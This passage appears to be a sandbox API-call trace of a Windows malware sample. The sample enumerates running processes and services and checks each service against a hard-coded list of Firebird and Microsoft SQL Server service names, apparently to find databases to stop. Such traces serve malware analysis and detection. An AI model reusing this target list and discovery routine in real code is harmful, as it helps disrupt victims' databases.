out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0289.291] lstrlenW (lpString="winlogon.exe") returned 12 [0289.291] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0289.292] lstrlenW (lpString="services.exe") returned 12 [0289.292] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0289.293] lstrlenW (lpString="lsass.exe") returned 9 [0289.293] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.294] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.294] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0289.295] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0289.295] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.296] lstrlenW (lpString="svchost.exe") returned 11 [0289.296] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.297] lstrlenW (lpString="svchost.exe") returned 11 [0289.297] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.298] lstrlenW (lpString="dwm.exe") returned 7 [0289.298] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.299] lstrlenW (lpString="svchost.exe") returned 11 [0289.299] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.300] lstrlenW (lpString="svchost.exe") returned 11 [0289.300] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.301] lstrlenW (lpString="svchost.exe") returned 11 [0289.301] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.302] lstrlenW (lpString="svchost.exe") returned 11 [0289.302] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.303] lstrlenW (lpString="svchost.exe") returned 11 [0289.303] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.304] lstrlenW (lpString="svchost.exe") returned 11 [0289.304] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.305] lstrlenW (lpString="svchost.exe") returned 11 [0289.305] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.306] lstrlenW (lpString="svchost.exe") returned 11 [0289.307] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.308] lstrlenW (lpString="svchost.exe") returned 11 [0289.308] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.309] lstrlenW (lpString="svchost.exe") returned 11 [0289.309] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.310] lstrlenW (lpString="spoolsv.exe") returned 11 [0289.310] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.311] lstrlenW (lpString="svchost.exe") returned 11 [0289.311] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.312] lstrlenW (lpString="audiodg.exe") returned 11 [0289.312] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0289.313] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0289.313] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0289.314] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0289.314] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0289.316] lstrlenW (lpString="Memory Compression") returned 18 [0289.316] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.347] lstrlenW (lpString="svchost.exe") returned 11 [0289.347] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.349] lstrlenW (lpString="sihost.exe") returned 10 [0289.349] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.350] lstrlenW (lpString="taskhostw.exe") returned 13 [0289.350] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0289.351] lstrlenW (lpString="msoia.exe") returned 9 [0289.351] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.352] lstrlenW (lpString="explorer.exe") returned 12 [0289.352] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.353] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0289.353] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.354] lstrlenW (lpString="SearchUI.exe") returned 12 [0289.354] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.355] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0289.355] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.356] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0289.356] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0289.357] lstrlenW (lpString="chrome64b.exe") returned 13 [0289.357] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0289.358] lstrlenW (lpString="dllhost.exe") returned 11 [0289.358] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0289.359] lstrlenW (lpString="dllhost.exe") returned 11 [0289.359] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0289.360] CloseHandle (hObject=0x560) returned 1 [0289.360] Sleep (dwMilliseconds=0x1f4) [0289.929] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699de8 [0289.930] EnumServicesStatusExW (in: hSCManager=0x699de8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0289.930] GetLastError () returned 0xea [0289.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x69e108 [0289.931] EnumServicesStatusExW (in: hSCManager=0x699de8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69e108, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69e108, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0289.932] CloseServiceHandle (hSCObject=0x699de8) returned 1 [0289.935] lstrlenW (lpString="Appinfo") returned 7 [0289.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0289.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0289.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0289.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0289.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0289.935] lstrlenW (lpString="AppXSvc") returned 7 [0289.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0289.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0289.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0289.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0289.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0289.936] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0289.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0289.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0289.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0289.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0289.936] lstrlenW (lpString="Audiosrv") returned 8 [0289.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0289.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0289.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0289.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0289.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0289.936] lstrlenW (lpString="BFE") returned 3 [0289.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0289.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0289.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0289.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0289.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0289.936] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0289.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0289.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0289.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0289.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0289.937] lstrlenW (lpString="CDPSvc") returned 6 [0289.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0289.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0289.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0289.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0289.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0289.937] lstrlenW (lpString="ClickToRunSvc") returned 13 [0289.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0289.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0289.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0289.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0289.937] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0289.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0289.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0289.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0289.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0289.937] lstrlenW (lpString="CryptSvc") returned 8 [0289.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0289.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0289.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0289.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0289.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0289.938] lstrlenW (lpString="DcomLaunch") returned 10 [0289.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0289.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0289.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0289.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0289.938] lstrlenW (lpString="DeviceAssociationService") returned 24 [0289.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0289.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0289.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0289.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0289.938] lstrlenW (lpString="Dhcp") returned 4 [0289.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0289.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0289.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0289.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0289.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0289.938] lstrlenW (lpString="Dnscache") returned 8 [0289.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0289.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0289.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0289.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0289.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0289.939] lstrlenW (lpString="DPS") returned 3 [0289.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0289.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0289.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0289.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0289.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0289.939] lstrlenW (lpString="DusmSvc") returned 7 [0289.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0289.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0289.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0289.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0289.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0289.939] lstrlenW (lpString="EventLog") returned 8 [0289.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0289.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0289.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0289.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0289.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0289.939] lstrlenW (lpString="EventSystem") returned 11 [0289.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0289.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0289.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0289.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0289.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0289.939] lstrlenW (lpString="FontCache") returned 9 [0289.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0289.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0289.940] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0289.940] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0289.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0289.940] lstrlenW (lpString="gpsvc") returned 5 [0289.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0289.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0289.940] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0289.940] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0289.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0289.940] lstrlenW (lpString="iphlpsvc") returned 8 [0289.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0289.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0289.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0289.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0289.940] lstrlenW (lpString="KeyIso") returned 6 [0289.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0289.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0289.940] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0289.940] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0289.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0289.940] lstrlenW (lpString="LanmanServer") returned 12 [0289.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0289.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0289.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0289.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0289.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0289.941] lstrlenW (lpString="LanmanWorkstation") returned 17 [0289.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0289.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0289.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0289.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0289.982] lstrlenW (lpString="lfsvc") returned 5 [0289.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0289.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 